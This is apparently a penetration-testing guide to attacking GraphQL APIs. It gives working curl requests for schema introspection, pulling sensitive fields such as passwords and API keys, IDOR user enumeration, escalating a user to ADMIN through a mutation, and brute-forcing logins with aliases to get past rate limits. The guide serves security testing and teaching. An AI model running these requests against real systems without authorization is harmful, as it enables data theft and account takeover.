Skip to content

GraphQL Exploitation

4 min read Created Sep 14, 2026 Last updated Sep 14, 2026

GraphQL is a query language for APIs that exposes a single endpoint (typically /graphql or /api/graphql). Unlike REST, GraphQL lets clients request exactly the data they want, including deeply nested relationships. Misconfigurations commonly expose introspection (full schema disclosure), allow unauthorized data access through query manipulation, and enable denial of service through deeply nested queries.

Endpoint Discovery

GraphQL endpoints are not always at /graphql. Common paths to check:

  • /graphql
  • /api/graphql
  • /graphql/v1
  • /api/v1/graphql
  • /graphiql (interactive IDE)
  • /playground
  • /console
  • /query
┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:$PORT/graphql \
-H 'Content-Type: application/json' \
-d '{"query": "{__typename}"}'
{"data":{"__typename":"Query"}}

A response with __typename confirms GraphQL. A 400 with a GraphQL error message also confirms the endpoint.

Introspection Query

Introspection reveals the entire API schema: types, fields, queries, mutations, and their arguments. Enabled by default in most GraphQL implementations.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:$PORT/graphql \
-H 'Content-Type: application/json' \
-d '{"query": "{__schema{types{name,fields{name,args{name,type{name}},type{name,ofType{name}}}}}}"}' | python3 -m json.tool

The schema dump shows all available queries and mutations. Look for sensitive types (User, Admin, Secret, Token, Config) and mutations (createUser, updateRole, deleteAccount, resetPassword).

For a more readable output, use tools like graphql-voyager (visual schema explorer) or pipe the introspection result through a schema formatter.

Unauthorized Data Access

GraphQL often exposes more data than the frontend uses. Query fields the application does not normally request.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:$PORT/graphql \
-H 'Content-Type: application/json' \
-d '{"query": "{users{id,username,email,password,role,apiKey,ssn}}"}' | python3 -m json.tool

Fields like password, apiKey, ssn may be accessible even when the frontend only requests id and username. GraphQL resolves every requested field unless field-level authorization is implemented.

IDOR via GraphQL

Query other users' data by manipulating the ID argument.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:$PORT/graphql \
-H 'Content-Type: application/json' \
-d '{"query": "{user(id: 1){id,username,email,role}}"}'
{"data":{"user":{"id":"1","username":"admin","email":"admin@target.local","role":"ADMIN"}}}

Iterate IDs to enumerate all users. If the query resolves without authorization checks, this is an IDOR vulnerability.

Mutation Abuse

Mutations modify data. Test whether sensitive mutations are accessible without proper authorization.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:$PORT/graphql \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer <USER_TOKEN>' \
-d '{"query": "mutation{updateUser(id: 2, role: \"ADMIN\"){id,username,role}}"}'

If the mutation succeeds, the API lacks authorization checks on role changes. Common targets: updateUser, createAdmin, resetPassword, deleteAccount mutations.

Batching and Alias Attacks

GraphQL supports query batching and aliases, enabling brute-force attacks in a single request (bypassing rate limits).

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:$PORT/graphql \
-H 'Content-Type: application/json' \
-d '{"query": "{a0:login(username:\"admin\",password:\"password\"){token} a1:login(username:\"admin\",password:\"admin123\"){token} a2:login(username:\"admin\",password:\"letmein\"){token}}"}'

Each alias (a0, a1, a2) is a separate login attempt in one HTTP request. Rate limiters that count requests instead of operations are bypassed. Scale to hundreds of attempts per request.

Introspection Disabled Bypass

When introspection is disabled, use field suggestion errors to reconstruct the schema. GraphQL implementations often suggest similar field names in error messages.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:$PORT/graphql \
-H 'Content-Type: application/json' \
-d '{"query": "{us}"}'
{"errors":[{"message":"Cannot query field \"us\" on type \"Query\". Did you mean \"user\" or \"users\"?"}]}

Error messages leak valid field names. Tools like Clairvoyance automate schema reconstruction from suggestion errors. Try common prefixes: us, adm, log, sec, con, tok, pass.

References